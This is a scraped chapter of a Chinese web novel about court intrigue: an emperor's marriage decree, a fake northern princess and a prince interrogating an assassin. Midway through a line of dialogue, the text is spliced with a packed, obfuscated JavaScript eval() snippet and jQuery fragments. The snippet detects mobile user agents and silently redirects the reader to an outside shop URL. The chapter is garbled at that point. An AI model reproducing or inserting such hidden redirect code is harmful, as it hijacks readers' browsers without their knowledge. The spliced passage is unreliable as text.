文趣网 > 都市小说 > 清平年 > 2. 赐婚
    海棠经了整夜的暴雨,花瓣被打落一地,零零落落铺了满径。绿叶上还挂着晶莹的雨珠,风一过,便颤巍巍地滚落,宛如一粒粒明珠。空气里弥漫着湿漉漉的泥土气息,混着青草被雨水浸透后的清冽香气。

    下了一夜的雨,骤停。

    萧瑾瑜并未在相府多留。天刚蒙蒙亮,他便辞过沈纪,带着和亲公主匆匆进了宫。

    今日恰逢休沐,大殿之内并无其他大臣,只有庆帝与几位史官在座。

    庆帝名唤萧瑾珉,字子忆,是萧瑾瑜的兄长。

    萧瑾瑜向御座上的人行了一礼:“陛下。”

    “免礼吧。”萧瑾珉的目光在萧瑾瑜身上淡淡掠过,落在前来和亲的王女身上,“早听闻北凌的云和公主貌若仙妍,今日一见,当真是传言不虚。”

    “圣上谬赞。”戴着面纱的王女微微颔首,声音轻而平。

    “好了。”萧瑾珉微微一笑,“明日宫宴,汴京城里权贵的家眷都会来,到时候王女殿下随意挑选,看上了谁,朕给你赐婚。”

    “云和谢过陛下。”云和公主行完礼,便被宫人引了下去。大殿内霎时安静下来,只剩下萧家兄弟二人。

    “此行可还顺利?”萧瑾珉示意萧瑾瑜落座。

    “并不。”萧瑾瑜在椅子上坐下,眉目间带着淡淡的倦色,“刚带和亲公主踏上大晏的国界,便遭了大波的刺客。陛下给的御林军,折了十人。”他接过太监递来的茶盏,指尖在杯沿上轻轻一叩,“陛下应该多调一些侍卫,暗中护着那位和亲公主,免得夜长梦多。”

    “皇弟说得是。”萧瑾珉应得爽快,当即吩咐侍卫长去挑选几个侍卫,送到和亲公主的院中。

    萧瑾瑜将盏中茶一饮而尽,站起身来:“陛下还有什么要问的吗?若无其他要事,臣弟先行告退了。”

    “好。德昌,送送平王。”萧瑾珉吩咐身旁的太监。

    待萧瑾瑜的身影走远,一旁的宫女才低声开口:“陛下,平王也快到结亲的年岁了,至今没有婚配。陛下何不将来和亲的公主赐给平王?何苦要大费周章地宴请权贵,让那公主自己挑?”

    萧瑾珉靠在椅背上,指尖轻轻叩着扶手,语气淡得像一缕烟:“北凌不过是个小国,让她嫁给子惜,反倒是折辱了子惜。明日的宫宴,不过是让北凌来的使者看看我大晏的繁盛罢了。至于那位公主,若没有她入眼的,送回去便是。”说完,他接过宫女递来的汤药,垂眸饮下。

    萧瑾瑜回府后,径直进了书房。

    林深早已押着抓到的活口候在那里。

    书房里光线昏暗,空气中浮着淡淡的墨香。萧瑾瑜慵散地倚靠在美人榻上,姿态闲适,目光却倨傲而冷,落在跪在地上的刺客身上。

    那人的衣衫早已肮脏不堪,头发凌乱地黏在额角,身上分布着错落的伤口,有些已经开始溃烂,散发出一阵夹杂着血腥气的恶臭。他勉强吊着一口气,整个人半死不活地伏在地上,像是随时都会咽气。

    萧瑾瑜语气冰冷地开了口:“本王只问你一次,谁派你来的?”

    那人依旧沉默,连头都没抬。

    “不说啊。”萧瑾瑜的唇角微微扬起,笑意却未达眼底,“那我给你看个东西。看过之后,你再考虑要不要开口。”言罢,他接过身后暗卫递来的木盒,随手扔到刺客面前。

    “王爷让你打开。”暗卫的声音里夹着不耐,看向那刺客的眼神,仿佛在看一条垂死的狗。

    刺客愣了一瞬,指尖颤抖着将木盒打开。待他看清里面的东西后,手猛地一哆嗦,木盒应声落地,里面的东西骨碌碌滚了出来。

    那是一节手指,混杂着干涸发黑的血迹。指上布满了深深的皱纹和暗褐色的老人斑,显然属于一位老者。

    “听说你不是一个人。”萧瑾瑜的声音不紧不慢,像在说一件无关紧要的事,“你在京城还有一个重病的父亲。这是你老子的手指。你若一直不说,本王便每天命人割他一根手指给你送来。若手指割完了,便割下他的耳朵。若耳朵也没了……”他顿了顿,唇角勾起一抹嗜血的笑,“那就割他的鼻子、挖他的眼睛。你放心,本王有的是耐心。”

    刺客圆睁着双眼瞪向萧瑾瑜,目光里满是惊惧与难以置信。他下意识地想爬过去拾起地上那节血淋淋的断指,刚爬出几步,那节断指便被身旁的暗卫一脚踢开,他自己也被踹回了原地,重重摔在地上。

    “带下去吧。”萧瑾瑜淡淡道。

    刺客被暗卫押着拖出了书房,留下地上一道浅浅的污痕。

    “林深。”萧瑾瑜的语气恢复了平常的淡然,“调两个暗卫盯着北凌公主。有什么风吹草动,我要第一个知道。”

    暗卫是萧瑾瑜一手打造的死士组织,只效命于他一人。他们平日隐匿于暗处,从不轻易出现在大众视野之中,暗卫这个名字,便是由此而来。

    “王爷。”林深犹豫了一下,低声问道,“您怎会刚回京就找到了那个人的父亲……还把那人的手指割下来……”

    “我并未派人找过那名刺客的父亲。”萧瑾瑜漫不经心地扫了林深一眼。

    林深怔了一瞬,旋即拱手道:“王爷高明。”说完,便退了出去。

    书房里重归寂静,只余窗外隐隐的风声。

    丞相府。

    “母亲,不过只是进个宫,何必这般大费周章?”沈清辞抱着猫,懒洋洋地瞧着面前陈列的各种配饰,眉间带着几分无奈,“您难不成还想让那位公主嫁过来给您当儿媳?我还一事无成呢,怎么能这么急着成家?”

    陈夫人是沈纪的发妻,沈清辞的生母,名唤疏桐,是恩国公家的嫡长女,她望着儿子,目光里满是慈爱与无奈交织的神情。

    “瞧你说的。”陈夫人笑着摇了摇头,“你八九年没进过宫了,好不容易进一次,不正式一点怎么行?”

    沈清辞微微撅起嘴,手指有一搭没一搭地捋着猫背上的毛:“八九年没进宫,又不是我不想去。是父亲他不准我去。”

    “你父亲也是担心你啊。”陈夫人轻轻叹了口气,吩咐下人将桌上的配饰都送到清风阁去。

    次日,沈清辞随同父母一同进宫赴宴。

    落座之后他才发现,自己对面坐着的,恰恰是萧瑾瑜。

    与萧瑾瑜干瞪眼着实尴尬,沈清辞便低下头,装模作样地饮酒吃菜,目光却忍不住四处打量。酒具和餐具非金即银,有的甚至还镶了宝石,筷子皆是白玉所制。沈清辞在心中暗暗腹诽:大晏的国库何时这般富足了?竟有闲钱做这些器具。

    他虽然八九年没进过宫了,可小时候没少进来。打记事起,参加过的宫宴,从未奢侈到这个地步。

    抬眼,便又对上了萧瑾瑜的视线。

    出于礼貌,沈清辞朝他笑了笑,随即又低下头去。可他总觉得有一道视线始终定在自己身上,被盯得浑身不自在。

    这次宫宴,主要是给和亲公主选亲。宴过中旬时,萧瑾珉赐了一杯酒给云和公主,声音温润而威严:“王女殿下可将这杯酒赠予自己心仪之人,朕为你赐婚。”

    云和公主接过那杯酒,却有些犹豫不决。萧瑾珉只当是大晏的男儿个个风姿卓然,公主挑花了眼,便也不催促,只含笑望着。

    只见云和公主踌躇了片刻,端起酒杯,缓缓走向沈清辞。

    然后,将酒杯轻轻放在了他面前的席案上。

    大殿内霎时安静了一瞬。

    众人的脸色各异,有幸灾乐祸的,有暗自叹息的,也有交头接耳窃窃私语的。萧瑾珉挑了挑左边的眉毛,心中暗忖:这位公主倒是会挑,上来就挑中了首辅大人的独子。

    沈纪沉着一张脸,一语不发。陈夫人将手中的扇子搁在桌上,抬眼细细打量云和公主,可无论如何努力,也看不清对方面纱下的容颜。

    “沈公子若有意,便饮下这杯酒,朕为你赐婚。”萧瑾珉朗声道,目光不时打量着沈纪的脸色。

    这期间,萧瑾瑜不知多少次给自己的兄长递眼色,可萧瑾珉仿佛浑然不觉,一次也没有看他。萧瑾瑜的脸色一分一分地沉了下去。

    沈清辞盯着那公主的眼睛看了许久,迟迟没有伸手。

    萧瑾瑜勉强松了口气。他就知道,沈清辞不是随便的人,不会跟只见过一面、连脸都不知道长什么样的人成婚。

    可他还没完全放松下来,便又被一道惊雷劈得外焦里嫩。

    沈清辞拿起酒杯,仰头饮了下去。

    “好!”萧瑾珉带头叫好,众人纷纷附和,“朕今日便做主,给你们赐婚!”

    待那位公主重新回到座位上,沈纪侧过身来,与沈清辞低声耳语,声音里压着愠怒:“你答应这门婚事作甚?婚姻大事,怎能如此儿戏?”

    沈清辞垂着眸,没有回答。

    “那这门亲事便定下了。”萧瑾珉揉了揉眉心,露出些许倦色,“朕明日便找人择个吉日,给你们办了婚事。朕乏了,各位爱卿随意。”说完,他从主座上起身,离了宴。

    萧瑾珉刚走,众人便纷纷围上来给沈清辞敬酒,祝他订婚之喜。

    沈清辞应接不暇,一杯接一杯,脸上的笑意渐渐有些僵了。

    “父亲,我出去透透气。”在拒掉不知第几杯酒后,沈清辞终于受不了殿内嘈杂的氛围,轻声道。

    “去吧,去吧。”沈纪心里早已乱成了一团麻,正绞尽脑汁想着如何让陛下收回婚约,无暇顾及沈清辞,便极其敷衍地应了。

    沈清辞如释重负般走出殿门。

    夜风拂面,带着雨后初晴的凉意。他才刚在廊下站定,便听见身后传来脚步声。

    “沈公子。”

    沈清辞应声止步,转头看见了身后不远处的萧瑾瑜。

    月光落在他的肩上,衬得那身青绿色的锦袍愈发清隽。沈清辞微施一礼:“王爷。”

    “你怎么这么早就出来了?”萧瑾瑜走近他,声音比平日里轻了许多,“可是觉得里面无趣?”

    “里面人太多了,我觉得吵。”沈清辞没有隐瞒。

    “真是巧了。”萧瑾瑜的眉眼间浮起淡淡的笑意,“我也这样觉得。这里离我府上近,不知公子可否赏脸,去我那里坐坐?”

    沈清辞看着他,略一迟疑,便点了点头:“好。”

    到了萧瑾瑜的府邸,沈清辞大致打量了一眼。府中并没有宫中建筑那般华贵的风格,与普通官员的府邸并无多大分别,大则大矣,却显得有些空落落的,少了些烟火气,下人端上茶来,茶香袅袅。沈清辞接过,随口问道:“你今年十八了吧?”

    “是。”萧瑾瑜的目光始终落在沈清辞身上,像是怎么也看不够。

    “你也到了该出宫自立府邸的年岁了,怎么一点动静都没有?”沈清辞喝了一口茶,开始没话找话。

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597972|205601||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    陛下说,让我科举过后立府。”萧瑾瑜依旧盯着他。

    沈清辞终于察觉到了那道仿佛长在自己身上的视线,忍不住开口问道:“我这身衣服好看?”

    他今日穿着一套青绿色绸缎锦袍,腰间系着素面银质腰带,带上镶嵌一颗绯色宝石,腰侧悬一块上等白玉,头上戴着白玉莲瓣发冠,腕上还戴着一串碧玉珠串。整个人立在灯下,像是从画里走出来的。

    一句“你好看”险些脱口而出,萧瑾瑜连忙咽回去,改口道:“沈公子穿什么都好看。”

    “别一口一个公子地叫我。”沈清辞放下茶盏,声音里带着几分无奈,“你我之间,本不应如此生分。”

    萧瑾瑜的心轻轻跳了一下。他略一沉吟,试探地唤了一声沈清辞的小字:“居远?”

    “嗯?”沈清辞应了一声,眸光微动。

    萧瑾瑜深吸一口气,终于问出了那个压在心头许久的问题:“你为何喝下那杯酒?你喜欢她?”

    “王爷。”话音未落,书房的门被人猛地推开。

    “王爷,那名刺客招供了!”林深大步跨进来,打断了二人的对话。

    萧瑾瑜的脸瞬间冷了下来,像是覆了一层薄霜。

    “这是?”沈清辞看向林深。

    “我的侍卫,你们没见过。”萧瑾瑜迅速敛了神色,语气平淡。

    “王爷,公子。”林深朝两人行了一礼。沈清辞笑着向他微微颔首,眉眼温和。

    “王爷,他招了。”林深重复了一遍。

    “用我先出去吗?”沈清辞看向萧瑾瑜,体贴地问道。有些话,确实不便他一个外人听到。

    “不用。”萧瑾瑜答得很快,随即示意林深继续说下去。

    “那群刺客是北凌国主雇的。很可能还有下一批。”林深压低了声音,“另外,来和亲的公主并非北凌真正的公主,只是公主身边的一个侍女。”

    萧瑾瑜眉峰微拧:“派去的暗卫有什么情报?”

    “他们看到北凌使臣给了那位和亲公主一个瓶子。”林深顿了顿,“属下猜测,可能是毒药。”

    “下去吧。”萧瑾瑜吩咐道。林深刚准备出门,便又被叫住:“对了,那个刺客,记得处理了。”

    林深比了个明白的手势,无声地退出屋门,将门轻轻带上。

    书房里重新安静下来,烛火轻轻摇曳,在墙上投下浅浅的影子。

    沈清辞垂眸把玩着手上的珠串,碧玉珠子在指间一颗一颗地转过,发出细微的轻响。他开口道,声音很轻:“你不是问我为何饮下那杯酒吗?这不就是答案。她不可能活到成亲的。”

    萧瑾瑜望着他,眼底有惊讶,也有更深的东西:“你那么早就知道了?”

    他给沈清辞的杯盏里添了些热茶,茶水注入瓷盏的声音细细碎碎的,“不愧是他们口中的天之骄子。”

    沈清辞端起茶盏,没有否认。

    其实并不难猜。席间他看到的北凌公主,眉眼明显是中原人的模样。而北凌极其注重血统,皇室中很少有混血。派来的和亲公主不是真正的北凌公主,这本就是第一个破绽。北凌国主派假公主过来和亲,刚跨入大晏国土便遇了刺客,而刺客又偏偏是北凌国主自己派的的。假公主命大没死,使臣便给她毒药,这是铁了心,要借假公主的死来向大晏发难。

    若那位“公主”真死在大晏的国土上,大晏轻则割地赔款,重则被列国联合讨伐。无论结果如何,对北凌都是有利无害。

    “王爷觉得,”沈清辞抬起眼,目光清亮而平静,“北凌使臣会让那位‘公主’什么时候死?”

    萧瑾瑜沉吟片刻:“不知。也许今日,也许明日,也有可能马上。”他顿了顿,声音沉下去,“不过我会尽力,让她不死在大晏。”

    沈清辞看了他一眼,没有再多说什么,只以体乏为由起身告辞。萧瑾瑜起身送他,月色铺了一路,两人的影子并肩而行,又很快分开。

    而此时的另一间空屋里,却弥漫着截然不同的气息。

    “我劝你还是乖乖听话。别忘了你这条贱命,是谁捡回来的。”

    空旷的屋内只有一男一女。那女子戴着面纱,被一名男子强行掐着嘴,往里面灌着什么东西。她拼命反抗,却根本挣不脱那只铁钳般的手,只能拿一双眼睛狠狠地瞪着那男人,目光里满是恨意与绝望。

    想来被灌进去的,绝不是什么好东西。

    灌完那碗东西后,男人将她狠狠摔在地上,随手擦了擦手,头也不回地走出屋门。

    女子绝望地在地上躺了片刻,胸腔里翻涌着一阵阵恶心与窒息感。她忽然疯了一般拿手去扣喉咙,想把毒药吐出来,可什么也吐不出。她伏在地上,浑身颤抖,眼泪无声地淌下来,顺着脸颊滴落在冰冷的地面上。

    她还不想死。

    她想活。

    意识开始渐渐模糊,像有什么东西在她脑中一点一点地熄灭。她躺在地上,任由泪水滑落,恍惚间仿佛看到一个戴着黑色面具的男人出现在她面前。

    是幻觉吗。

    那男人俯下身,往她嘴里放了一枚药丸,声音很低很淡,却像一根细细的线,拽住了她正在坠落的意识:“想活命,就咽下去。”

    也许是她真的不甘心就这样死去。

    她用尽最后一点力气,咽下了那枚药丸。

    随后,彻底沉入了黑暗。